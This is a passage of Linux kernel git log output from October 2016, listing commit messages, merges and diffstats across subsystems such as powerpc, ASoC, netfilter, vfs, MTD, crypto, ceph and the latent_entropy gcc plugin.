from __pSeries_lpar_hugepage_invalidate() which is quite confusing. This bug is pending since v3.11 but was hidden if a caller of the caller of __pSeries_lpar_hugepage_invalidate() has pushed the corruped register (r18 in this case) in the stack and is not using it until restoring it. GCC 6.2.0 seems to raise it more frequently. This commit also change the definition of the parameter buffer in pSeries_lpar_flush_hash_range() to rely on the global define PLPAR_HCALL9_BUFSIZE (no functional change here). Fixes: 1a5272866f87 ("powerpc: Optimize hugepage invalidate") Cc: stable@vger.kernel.org # v3.11+ Signed-off-by: Laurent Dufour Reviewed-by: Aneesh Kumar K.V Acked-by: Balbir Singh Signed-off-by: Michael Ellerman arch/powerpc/platforms/pseries/lpar.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c3474e211576fc88ddd1f3e8ce3b06a2051438e7 Author: Arnd Bergmann Date: Mon Oct 10 14:33:20 2016 +0200 ASoC: Intel: haswell depends on sst-firmware The Intel Haswell audio support fails to link if CONFIG_SND_SOC_INTEL_SST_FIRMWARE is disabled: sst-haswell-dsp.c: undefined reference to `sst_mem_block_register' sst-haswell-dsp.c: undefined reference to `sst_mem_block_unregister_all' sst-haswell-dsp.c: undefined reference to `sst_module_alloc_blocks' sst-haswell-dsp.c: undefined reference to `sst_module_free' sst-haswell-dsp.c: undefined reference to `sst_module_new' sst-haswell-pcm.c: undefined reference to `sst_module_get_from_id' sst-haswell-pcm.c: undefined reference to `sst_module_runtime_restore' sst-haswell-pcm.c: undefined reference to `sst_module_runtime_save' ERROR: "sst_block_alloc_scratch" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_block_free_scratch" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_dsp_dma_copyfrom" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_dsp_dma_copyto" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_dsp_dma_get_channel" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_dsp_dma_put_channel" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_dsp_free" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_dsp_get_offset" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_dsp_new" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_fw_free_all" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_fw_new" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_fw_reload" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_fw_unload" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_module_runtime_alloc_blocks" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_module_runtime_get_from_id" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! ERROR: "sst_module_runtime_new" [sound/soc/intel/haswell/snd-soc-sst-haswell-pcm.ko] undefined! This moves the 'select' statement from two of the three haswell based users into the line that is used by all of them, so make it harder to get wrong and to fix the existing randconfig regressions. Fixes: 2d995e5dc283 ("ASoC: Intel: boards: Add bdw-rt5677 machine driver") Signed-off-by: Arnd Bergmann Signed-off-by: Mark Brown sound/soc/intel/Kconfig | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 7c45e3cc6a59fb00edea65dfb6d3ae60403e4539 Author: Mark Brown Date: Mon Oct 26 12:35:02 2015 +0900 ASoC: topology: Reenable use from userspace We had inserted a #error into the topology UAPI code to ensure that the ABI was not adopted by userspace while final review and testing was ongoing. The idea was that some finishing touches would be made to the ABI before declaring it stable and suitable for use in production but this has not yet happened as more than a year later revisions to the ABI are still onging. The reality however is that people are shipping topology files in production and these ABI changes are causing practical issues for users and we can't break userspace. This makes this error pointless so we should remove it. Signed-off-by: Mark Brown Acked-by: Vinod Koul include/uapi/sound/asoc.h | 6 ------ 1 file changed, 6 deletions(-) commit 065397a969a0f80624598c5030c2551abbd986fd Merge: 8321564 e0b80f0 Author: Michael Ellerman Date: Tue Oct 11 20:07:56 2016 +1100 Merge branch 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/scottwood/linux into next Freescale updates from Scott: "Highlights include qbman support (a prerequisite for datapath drivers such as ethernet), a PCI DMA fix+improvement, reset handler changes, more 8xx optimizations, and some cleanups and fixes." commit 7f92083eb58f85ea114d97f65fcbe22be5b0468d Author: Nicolas Dichtel Date: Fri Sep 30 11:11:07 2016 +0200 vti6: flush x-netns xfrm cache when vti interface is removed This is the same fix than commit a5d0dc810abf ("vti: flush x-netns xfrm cache when vti interface is removed") This patch fixes a refcnt problem when a x-netns vti6 interface is removed: unregister_netdevice: waiting for vti6_test to become free. Usage count = 1 Here is a script to reproduce the problem: ip link set dev ntfp2 up ip addr add dev ntfp2 2001::1/64 ip link add vti6_test type vti6 local 2001::1 remote 2001::2 key 1 ip netns add secure ip link set vti6_test netns secure ip netns exec secure ip link set vti6_test up ip netns exec secure ip link s lo up ip netns exec secure ip addr add dev vti6_test 2003::1/64 ip -6 xfrm policy add dir out tmpl src 2001::1 dst 2001::2 proto esp \ mode tunnel mark 1 ip -6 xfrm policy add dir in tmpl src 2001::2 dst 2001::1 proto esp \ mode tunnel mark 1 ip xfrm state add src 2001::1 dst 2001::2 proto esp spi 1 mode tunnel \ enc des3_ede 0x112233445566778811223344556677881122334455667788 mark 1 ip xfrm state add src 2001::2 dst 2001::1 proto esp spi 1 mode tunnel \ enc des3_ede 0x112233445566778811223344556677881122334455667788 mark 1 ip netns exec secure ping6 -c 4 2003::2 ip netns del secure CC: Lance Richardson Signed-off-by: Nicolas Dichtel Acked-by: Lance Richardson Signed-off-by: Steffen Klassert net/ipv6/ip6_vti.c | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) commit bd3769bfedb2b65af61744e9b40b1863e0870e2b Author: Linus Torvalds Date: Mon Oct 10 22:39:04 2016 -0700 netfilter: Fix slab corruption. Use the correct pattern for singly linked list insertion and deletion. We can also calculate the list head outside of the mutex. Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list") Signed-off-by: Linus Torvalds Reviewed-by: Aaron Conole Signed-off-by: David S. Miller net/netfilter/core.c | 108 ++++++++++++++++----------------------------------- 1 file changed, 33 insertions(+), 75 deletions(-) net/netfilter/core.c | 108 ++++++++++++++++----------------------------------- 1 file changed, 33 insertions(+), 75 deletions(-) commit 9cfb38a7ba5a9c27c1af8093fb1af4b699c0a441 Author: Wanpeng Li Date: Sun Oct 9 08:04:03 2016 +0800 sched/fair: Fix sched domains NULL dereference in select_idle_sibling() Commit: 10e2f1acd01 ("sched/core: Rewrite and improve select_idle_siblings()") ... improved select_idle_sibling(), but also triggered a regression (crash) during CPU-hotplug: BUG: unable to handle kernel NULL pointer dereference at 0000000000000078 IP: [] select_idle_sibling+0x1c2/0x4f0 Call Trace: select_task_rq_fair+0x749/0x930 ? select_task_rq_fair+0xb4/0x930 ? __lock_is_held+0x54/0x70 try_to_wake_up+0x19a/0x5b0 default_wake_function+0x12/0x20 autoremove_wake_function+0x12/0x40 __wake_up_common+0x55/0x90 __wake_up+0x39/0x50 wake_up_klogd_work_func+0x40/0x60 irq_work_run_list+0x57/0x80 irq_work_run+0x2c/0x30 smp_irq_work_interrupt+0x2e/0x40 irq_work_interrupt+0x96/0xa0 ? _raw_spin_unlock_irqrestore+0x45/0x80 try_to_wake_up+0x4a/0x5b0 wake_up_state+0x10/0x20 __kthread_unpark+0x67/0x70 kthread_unpark+0x22/0x30 cpuhp_online_idle+0x3e/0x70 cpu_startup_entry+0x6a/0x450 start_secondary+0x154/0x180 This can be reproduced by running the ftrace test case of kselftest, the test case will hot-unplug the CPU and the CPU will attach to the NULL sched-domain during scheduler teardown. The step 2 for the rewrite select_idle_siblings(): | Step 2) tracks the average cost of the scan and compares this to the | average idle time guestimate for the CPU doing the wakeup. If the CPU which doing the wakeup is the going hot-unplug CPU, then NULL sched domain will be dereferenced to acquire the average cost of the scan. This patch fix it by failing the search of an idle CPU in the LLC process if this sched domain is NULL. Tested-by: Catalin Marinas Signed-off-by: Wanpeng Li Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1475971443-3187-1-git-send-email-wanpeng.li@hotmail.com Signed-off-by: Ingo Molnar kernel/sched/fair.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit 2cc17fda94c5ee8c64c2fdc2ef981fc277e2e958 Author: Josh Poimboeuf Date: Mon Oct 10 15:24:01 2016 -0500 objtool: Support '-mtune=atom' stack frame setup instruction Arnd reported that enabling CONFIG_MATOM results in a bunch of objtool false positive frame pointer warnings: arch/x86/events/intel/ds.o: warning: objtool: intel_pmu_pebs_del()+0x43: call without frame pointer save/setup security/keys/keyring.o: warning: objtool: keyring_read()+0x59: call without frame pointer save/setup kernel/signal.o: warning: objtool: __dequeue_signal()+0xd8: call without frame pointer save/setup ... objtool gets confused by the fact that the '-mtune=atom' GCC option sometimes uses 'lea (%rsp),%rbp' instead of 'mov %rsp,%rbp'. The instructions are effectively the same, but objtool doesn't know about the 'lea' variant. Fix the false warnings by adding support for 'lea (%rsp),%rbp' in the objtool decoder. Reported-by: Arnd Bergmann Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar tools/objtool/arch/x86/decode.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit c8990359d4b12f14656386526ddf904635076902 Author: Nicholas Mc Guire Date: Sat Oct 8 17:51:45 2016 +0200 Coccinelle: flag conditions with no effect Report code constructs where the if and else branch are functionally identical. In cases where this is intended it really should be documented - most reported cases probably are bugs. Signed-off-by: Nicholas Mc Guire Signed-off-by: Michal Marek scripts/coccinelle/misc/cond_no_effect.cocci | 64 ++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) commit 1e01892e7ad521a96760da0d791b42badf755d3f Author: Markus Elfring Date: Fri Oct 7 16:06:15 2016 +0200 scripts/coccicheck: Update reference for the corresponding documentation Use the current name (in a comment at the beginning of this script) for the file which was converted to the documentation format "reStructuredText" in August 2016. Fixes: 4b9033a33494 ("docs: sphinxify coccinelle.txt and add it to dev-tools") Signed-off-by: Markus Elfring Acked-by: Julia Lawall Signed-off-by: Michal Marek scripts/coccicheck | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 101105b1717f536ca741f940033996302d4ef191 Merge: 35ff96d 3873691 Author: Linus Torvalds Date: Mon Oct 10 20:16:43 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull more vfs updates from Al Viro: ">rename2() work from Miklos + current_time() from Deepa" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: fs: Replace current_fs_time() with current_time() fs: Replace CURRENT_TIME_SEC with current_time() for inode timestamps fs: Replace CURRENT_TIME with current_time() for inode timestamps fs: proc: Delete inode time initializations in proc_alloc_inode() vfs: Add current_time() api vfs: add note about i_op->rename changes to porting fs: rename "rename2" i_op to "rename" vfs: remove unused i_op->rename fs: make remaining filesystems use .rename2 libfs: support RENAME_NOREPLACE in simple_rename() fs: support RENAME_NOREPLACE for local filesystems ncpfs: fix unused variable warning commit 3873691e5ab34fa26948643d038a2b98c4437298 Merge: c2050a4 aadfa80 Author: Al Viro Date: Mon Oct 10 23:02:51 2016 -0400 Merge remote-tracking branch 'ovl/rename2' into for-linus commit 35ff96dfd3c9aaa921b3e8dcac76b7697f2dcec0 Merge: 97d2116 69db4aa Author: Linus Torvalds Date: Mon Oct 10 17:39:51 2016 -0700 Merge tag 'for-linus-20161008' of git://git.infradead.org/linux-mtd Pull MTD updates from Brian Norris: "I've not been very active this cycle, so these are mostly from Boris, for the NAND flash subsystem. NAND: - Add the infrastructure to automate NAND timings configuration - Provide a generic DT property to maximize ECC strength - Some refactoring in the core bad block table handling, to help with improving some of the logic in error cases. - Minor cleanups and fixes MTD: - Add APIs for handling page pairing; this is necessary for reliably supporting MLC and TLC NAND flash, where paired-page disturbance affects reliability. Upper layers (e.g., UBI) should make use of these in the near future" * tag 'for-linus-20161008' of git://git.infradead.org/linux-mtd: (35 commits) mtd: nand: fix trivial spelling error mtdpart: Propagate _get/put_device() mtd: nand: Provide nand_cleanup() function to free NAND related resources mtd: Kill the OF_MTD Kconfig option mtd: nand: mxc: Test CONFIG_OF instead of CONFIG_OF_MTD mtd: nand: Fix nand_command_lp() for 8bits opcodes mtd: nand: sunxi: Support ECC maximization mtd: nand: Support maximizing ECC when using software BCH mtd: nand: Add an option to maximize the ECC strength mtd: nand: mxc: Add timing setup for v2 controllers mtd: nand: mxc: implement onfi get/set features mtd: nand: sunxi: switch from manual to automated timing config mtd: nand: automate NAND timings selection mtd: nand: Expose data interface for ONFI mode 0 mtd: nand: Add function to convert ONFI mode to data_interface mtd: nand: convert ONFI mode into data interface mtd: nand: Introduce nand_data_interface mtd: nand: Create a NAND reset function mtd: nand: remove unnecessary 'extern' from function declarations MAINTAINERS: Add maintainer entry for Ingenic JZ4780 NAND driver ... commit 97d2116708ca0fd6ad8b00811ee4349b7e19e96f Merge: 30066ce fd50eca Author: Linus Torvalds Date: Mon Oct 10 17:11:50 2016 -0700 Merge branch 'work.xattr' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull vfs xattr updates from Al Viro: "xattr stuff from Andreas This completes the switch to xattr_handler ->get()/->set() from ->getxattr/->setxattr/->removexattr" * 'work.xattr' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: vfs: Remove {get,set,remove}xattr inode operations xattr: Stop calling {get,set,remove}xattr inode operations vfs: Check for the IOP_XATTR flag in listxattr xattr: Add __vfs_{get,set,remove}xattr helpers libfs: Use IOP_XATTR flag for empty directory handling vfs: Use IOP_XATTR flag for bad-inode handling vfs: Add IOP_XATTR inode operations flag vfs: Move xattr_resolve_name to the front of fs/xattr.c ecryptfs: Switch to generic xattr handlers sockfs: Get rid of getxattr iop sockfs: getxattr: Fail with -EOPNOTSUPP for invalid attribute names kernfs: Switch to generic xattr handlers hfs: Switch to generic xattr handlers jffs2: Remove jffs2_{get,set,remove}xattr macros xattr: Remove unnecessary NULL attribute name check commit feac470e3642e8956ac9b7f14224e6b301b9219d Author: Christoph Hellwig Date: Tue Oct 11 09:03:19 2016 +1100 xfs: convert COW blocks to real blocks before unwritten extent conversion We need to splice COW blocks we've completed in xfs_end_io_direct_write into the data fork before converting unwritten extents. Otherwise xfs_bmapi_write might first allocate blocks for any holes in the data fork, which isn't only not needed but also harmful as it might cause reserved block underruns in the transaction. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_aops.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d0563a039c9d35305f4cb2405665130de596d86a Author: Tobias Jakobi Date: Thu Sep 29 14:36:36 2016 +0200 PM / devfreq: Skip status update on uninitialized previous_freq In case devfreq->previous_freq is still uninitialized in devfreq_update_status(), i.e. it has value '0', the lookups in that function fail, eventually leading to some error message: [ 3.041292] devfreq bus_dmc: Couldn't update frequency transition information. Just skip the statup update in this situation. Signed-off-by: Tobias Jakobi Acked-by: MyungJoo Ham Signed-off-by: Rafael J. Wysocki drivers/devfreq/devfreq.c | 4 ++++ 1 file changed, 4 insertions(+) commit 0f376c9cd86c23f37312d37748b233660ef9d9af Author: Axel Lin Date: Thu Sep 29 10:13:28 2016 +0800 PM / devfreq: Add proper locking around list_del() Use devfreq_list_lock around list_del() to prevent list corruption. Signed-off-by: Axel Lin Acked-by: MyungJoo Ham Signed-off-by: Rafael J. Wysocki drivers/devfreq/devfreq.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 3b91f4b361daad1f3e1c60ca5a7861e8b36f9728 Author: Axel Lin Date: Sun Sep 25 20:13:58 2016 +0800 PM / devfreq: exynos-nocp: Remove redundant code load_count/total_count are reset by devfreq_event_get_event(), so remove the redundant code in exynos_nocp_get_event(). Signed-off-by: Axel Lin Acked-by: Chanwoo Choi [ rjw: Subject/changelog ] Signed-off-by: Rafael J. Wysocki drivers/devfreq/event/exynos-nocp.c | 3 --- 1 file changed, 3 deletions(-) commit 69e67a0626e503676ea2933b448f7aca8dd544f5 Author: Axel Lin Date: Sun Sep 25 20:13:57 2016 +0800 PM / devfreq: exynos-nocp: Select REGMAP_MMIO This driver uses devm_regmap_init_mmio(), so select REGMAP_MMIO to avoid build failure. Signed-off-by: Axel Lin Acked-by: Chanwoo Choi Signed-off-by: Rafael J. Wysocki drivers/devfreq/event/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 0766f788eb727e2e330d55d30545db65bcf2623f Author: Emese Revfy Date: Mon Jun 20 20:42:34 2016 +0200 latent_entropy: Mark functions with __latent_entropy The __latent_entropy gcc attribute can be used only on functions and variables. If it is on a function then the plugin will instrument it for gathering control-flow entropy. If the attribute is on a variable then the plugin will initialize it with random contents. The variable must be an integer, an integer array type or a structure with integer fields. These specific functions have been selected because they are init functions (to help gather boot-time entropy), are called at unpredictable times, or they have variable loops, each of which provide some level of latent entropy. Signed-off-by: Emese Revfy [kees: expanded commit message] Signed-off-by: Kees Cook block/blk-softirq.c | 2 +- drivers/char/random.c | 4 ++-- fs/namespace.c | 1 + include/linux/compiler-gcc.h | 7 +++++++ include/linux/compiler.h | 4 ++++ include/linux/fdtable.h | 2 +- include/linux/genhd.h | 2 +- include/linux/init.h | 5 +++-- include/linux/random.h | 4 ++-- kernel/fork.c | 6 ++++-- kernel/rcu/tiny.c | 2 +- kernel/rcu/tree.c | 2 +- kernel/sched/fair.c | 2 +- kernel/softirq.c | 4 ++-- kernel/time/timer.c | 2 +- lib/irq_poll.c | 2 +- lib/random32.c | 2 +- mm/page_alloc.c | 2 +- net/core/dev.c | 4 ++-- 19 files changed, 37 insertions(+), 22 deletions(-) commit 38addce8b600ca335dc86fa3d48c890f1c6fa1f4 Author: Emese Revfy Date: Mon Jun 20 20:41:19 2016 +0200 gcc-plugins: Add latent_entropy plugin This adds a new gcc plugin named "latent_entropy". It is designed to extract as much possible uncertainty from a running system at boot time as possible, hoping to capitalize on any possible variation in CPU operation (due to runtime data differences, hardware differences, SMP ordering, thermal timing variation, cache behavior, etc). At the very least, this plugin is a much more comprehensive example for how to manipulate kernel code using the gcc plugin internals. The need for very-early boot entropy tends to be very architecture or system design specific, so this plugin is more suited for those sorts of special cases. The existing kernel RNG already attempts to extract entropy from reliable runtime variation, but this plugin takes the idea to a logical extreme by permuting a global variable based on any variation in code execution (e.g. a different value (and permutation function) is used to permute the global based on loop count, case statement, if/then/else branching, etc). To do this, the plugin starts by inserting a local variable in every marked function. The plugin then adds logic so that the value of this variable is modified by randomly chosen operations (add, xor and rol) and random values (gcc generates separate static values for each location at compile time and also injects the stack pointer at runtime). The resulting value depends on the control flow path (e.g., loops and branches taken). Before the function returns, the plugin mixes this local variable into the latent_entropy global variable. The value of this global variable is added to the kernel entropy pool in do_one_initcall() and _do_fork(), though it does not credit any bytes of entropy to the pool; the contents of the global are just used to mix the pool. Additionally, the plugin can pre-initialize arrays with build-time random contents, so that two different kernel builds running on identical hardware will not have the same starting values. Signed-off-by: Emese Revfy [kees: expanded commit message and code comments] Signed-off-by: Kees Cook arch/Kconfig | 18 + arch/powerpc/kernel/Makefile | 5 + include/linux/random.h | 11 + init/main.c | 1 + kernel/fork.c | 1 + mm/page_alloc.c | 5 + scripts/Makefile.gcc-plugins | 9 +- scripts/gcc-plugins/latent_entropy_plugin.c | 640 ++++++++++++++++++++++++++++ 8 files changed, 689 insertions(+), 1 deletion(-) commit daeb20167ddb934d4d604b361406dda858dfa0aa Author: Lorenzo Pieralisi Date: Wed Oct 5 12:25:40 2016 +0100 MAINTAINERS: Add ARM64-specific ACPI maintainers entry The ARM64 architecture defines ARM64 specific ACPI bindings to configure and set-up arch specific components. To simplify code reviews/updates and streamline the maintainership structure supporting the arch specific code, a new arm64 directory was created in /drivers/acpi, to contain ACPI code that is specific to ARM64 architecture. Add the ARM64-specific ACPI maintainers entry in MAINTAINERS for the newly created subdirectory and respective code content. Lorenzo Pieralisi will be in charge of submitting and managing the pull requests on behalf of all maintainers listed. Link: http://lkml.kernel.org/r/1603704.EGiVTcCxLR@vostro.rjw.lan Signed-off-by: Lorenzo Pieralisi Acked-by: Hanjun Guo Acked-by: Will Deacon Acked-by: Sudeep Holla Signed-off-by: Rafael J. Wysocki MAINTAINERS | 8 ++++++++ 1 file changed, 8 insertions(+) commit d963ab22ad32da72ef5f1a77a5788693ba48e321 Author: Bjorn Helgaas Date: Thu Oct 6 13:43:42 2016 -0500 PCI: xgene: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-xgene.c | 43 ++++++++++++++++++++++++------------------- 1 file changed, 24 insertions(+), 19 deletions(-) commit 30066ce675d3af350bc5a53858991c0b518dda00 Merge: 6763afe c3afafa Author: Linus Torvalds Date: Mon Oct 10 14:04:16 2016 -0700 Merge branch 'linus' of git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6 Pull crypto updates from Herbert Xu: "Here is the crypto update for 4.9: API: - The crypto engine code now supports hashes. Algorithms: - Allow keys >= 2048 bits in FIPS mode for RSA. Drivers: - Memory overwrite fix for vmx ghash. - Add support for building ARM sha1-neon in Thumb2 mode. - Reenable ARM ghash-ce code by adding import/export. - Reenable img-hash by adding import/export. - Add support for multiple cores in omap-aes. - Add little-endian support for sha1-powerpc. - Add Cavium HWRNG driver for ThunderX SoC" * 'linus' of git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6: (137 commits) crypto: caam - treat SGT address pointer as u64 crypto: ccp - Make syslog errors human-readable crypto: ccp - clean up data structure crypto: vmx - Ensure ghash-generic is enabled crypto: testmgr - add guard to dst buffer for ahash_export crypto: caam - Unmap region obtained by of_iomap crypto: sha1-powerpc - little-endian support crypto: gcm - Fix IV buffer size in crypto_gcm_setkey crypto: vmx - Fix memory corruption caused by p8_ghash crypto: ghash-generic - move common definitions to a new header file crypto: caam - fix sg dump hwrng: omap - Only fail if pm_runtime_get_sync returns < 0 crypto: omap-sham - shrink the internal buffer size crypto: omap-sham - add support for export/import crypto: omap-sham - convert driver logic to use sgs for data xmit crypto: omap-sham - change the DMA threshold value to a define crypto: omap-sham - add support functions for sg based data handling crypto: omap-sham - rename sgl to sgl_tmp for deprecation crypto: omap-sham - align algorithms on word offset crypto: omap-sham - add context export/import stubs ... commit 6763afe4b9f39142bda2a92d69e62fe85f67251c Merge: 8dfb790 3a8db79 Author: Linus Torvalds Date: Mon Oct 10 13:58:06 2016 -0700 Merge tag 'dlm-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/teigland/linux-dlm Pull dlm fix from David Teigland: "This includes a bug fix for a bad memory access during workqueue cleanup, which can happen while shutting down the dlm networking layer" * tag 'dlm-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/teigland/linux-dlm: dlm: free workqueues after the connections commit 8dfb790b15e779232d5d4e3f0102af2bea21ca55 Merge: fed41f7 64f7756 Author: Linus Torvalds Date: Mon Oct 10 13:52:05 2016 -0700 Merge tag 'ceph-for-4.9-rc1' of git://github.com/ceph/ceph-client Pull Ceph updates from Ilya Dryomov: "The big ticket item here is support for rbd exclusive-lock feature, with maintenance operations offloaded to userspace (Douglas Fuller, Mike Christie and myself). Another block device bullet is a series fixing up layering error paths (myself). On the filesystem side, we've got patches that improve our handling of buffered vs dio write races (Neil Brown) and a few assorted fixes from Zheng. Also included a couple of random cleanups and a minor CRUSH update" * tag 'ceph-for-4.9-rc1' of git://github.com/ceph/ceph-client: (39 commits) crush: remove redundant local variable crush: don't normalize input of crush_ln iteratively libceph: ceph_build_auth() doesn't need ceph_auth_build_hello() libceph: use CEPH_AUTH_UNKNOWN in ceph_auth_build_hello() ceph: fix description for rsize and rasize mount options rbd: use kmalloc_array() in rbd_header_from_disk() ceph: use list_move instead of list_del/list_add ceph: handle CEPH_SESSION_REJECT message ceph: avoid accessing / when mounting a subpath ceph: fix mandatory flock check ceph: remove warning when ceph_releasepage() is called on dirty page ceph: ignore error from invalidate_inode_pages2_range() in direct write ceph: fix error handling of start_read() rbd: add rbd_obj_request_error() helper rbd: img_data requests don't own their page array rbd: don't call rbd_osd_req_format_read() for !img_data requests rbd: rework rbd_img_obj_exists_submit() error paths rbd: don't crash or leak on errors in rbd_img_obj_parent_read_full_callback() rbd: move bumping img_request refcount into rbd_obj_request_submit() rbd: mark the original request as done if stat request fails ... commit 19c4d2f994788a954af1aa7e53b0fdb46fd7925a Author: Chris Mason Date: Mon Oct 10 13:43:31 2016 -0700 Revert "btrfs: let btrfs_delete_unused_bgs() to clean relocated bgs" This reverts commit 5d8eb6fe517583f9c6d5b94faf2254a0207a45c9. When we remove devices, we free the device structures. Delaying btfs_remove_chunk() ends up hitting a use-after-free on them. Signed-off-by: Chris Mason fs/btrfs/extent-tree.c | 2 +- fs/btrfs/volumes.c | 24 ++++++++++++++---------- 2 files changed, 15 insertions(+), 11 deletions(-) commit fed41f7d039bad02f94cad9059e4b14cd81d13f2 Merge: abb5a14 cd27e45 Author: Linus Torvalds Date: Mon Oct 10 13:38:49 2016 -0700 Merge branch 'work.splice_read' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull splice fixups from Al Viro: "A couple of fixups for interaction of pipe-backed iov_iter with O_DIRECT reads + constification of a couple of primitives in uio.h missed by previous rounds. Kudos to davej - his fuzzing has caught those bugs" * 'work.splice_read' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: [btrfs] fix check_direct_IO() for non-iovec iterators constify iov_iter_count() and iter_is_iovec() fix ITER_PIPE interaction with direct_IO commit 862f6157d176c9db5a7ed423245108d9bb3d7038 Author: Markus Elfring Date: Fri Sep 23 17:53:49 2016 +0200 drm/vmwgfx: Adjust checks for null pointers in 13 functions The script "checkpatch.pl" can point information out like the following. Comparison to NULL could be written !… Thus fix the affected source code places. Signed-off-by: Markus Elfring Reviewed-by: Sinclair Yeh Signed-off-by: Sinclair Yeh drivers/gpu/drm/vmwgfx/vmwgfx_surface.c | 31 +++++++++++++++---------------- 1 file changed, 15 insertions(+), 16 deletions(-) commit abb5a14fa20fdd400995926134b7be9eb8ce6048 Merge: 911f9da e55f1d1 Author: Linus Torvalds Date: Mon Oct 10 13:04:49 2016 -0700 Merge branch 'work.misc' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull misc vfs updates from Al Viro: "Assorted misc bits and pieces. There are several single-topic branches left after this (rename2 series from Miklos, current_time series from Deepa Dinamani, xattr series from Andreas, uaccess stuff from from me) and I'd prefer to send those separately" * 'work.misc' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: (39 commits) proc: switch auxv to use of __mem_open() hpfs: support FIEMAP cifs: get rid of unused arguments of CIFSSMBWrite() posix_acl: uapi header split posix_acl: xattr representation cleanups fs/aio.c: eliminate redundant loads in put_aio_ring_file fs/internal.h: add const to ns_dentry_operations declaration compat: remove compat_printk() fs/buffer.c: make __getblk_slow() static proc: unsigned file descriptors fs/file: more unsigned file descriptors fs: compat: remove redundant check of nr_segs cachefiles: Fix attempt to read i_blocks after deleting file [ver #2] cifs: don't use memcpy() to copy struct iov_iter get rid of separate multipage fault-in primitives fs: Avoid premature clearing of capabilities fs: Give dentry to inode_change_ok() instead of inode fuse: Propagate dentry down to inode_change_ok() ceph: Propagate dentry down to inode_change_ok() xfs: Propagate dentry down to inode_change_ok() ... commit 4ef80d72a6f1a379e471960f48e051ab5e102fc0 Author: Bjorn Helgaas Date: Mon Oct 10 14:31:28 2016 -0500 PCI: rcar: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas Acked-by: Simon Horman drivers/pci/host/pcie-rcar.c | 88 +++++++++++++++++++++++--------------------- 1 file changed, 47 insertions(+), 41 deletions(-) commit c138d03f1bf3b9c7bfd449e890cc003658b5c45a Author: Markus Elfring Date: Fri Sep 23 17:26:02 2016 +0200 drm/vmwgfx: Use memdup_user() rather than duplicating its implementation * Reuse existing functionality from memdup_user() instead of keeping duplicate source code. * Try this copy operation before allocating memory for the data structure member "offsets". * Delete the local variable "user_sizes" which became unnecessary with this refactoring. Signed-off-by: Markus Elfring Reviewed-by: Sinclair Yeh Signed-off-by: Sinclair Yeh drivers/gpu/drm/vmwgfx/vmwgfx_surface.c | 21 +++++---------------- 1 file changed, 5 insertions(+), 16 deletions(-) commit 7ed3b3943281e9da32b52e2aac77bdb2c42c5117 Author: Markus Elfring Date: Thu Sep 22 21:54:33 2016 +0200 drm/vmwgfx: Use kmalloc_array() in vmw_surface_define_ioctl() Multiplications for the size determination of memory allocations indicated that array data structures should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Reviewed-by: Sinclair Yeh Signed-off-by: Sinclair Yeh drivers/gpu/drm/vmwgfx/vmwgfx_surface.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 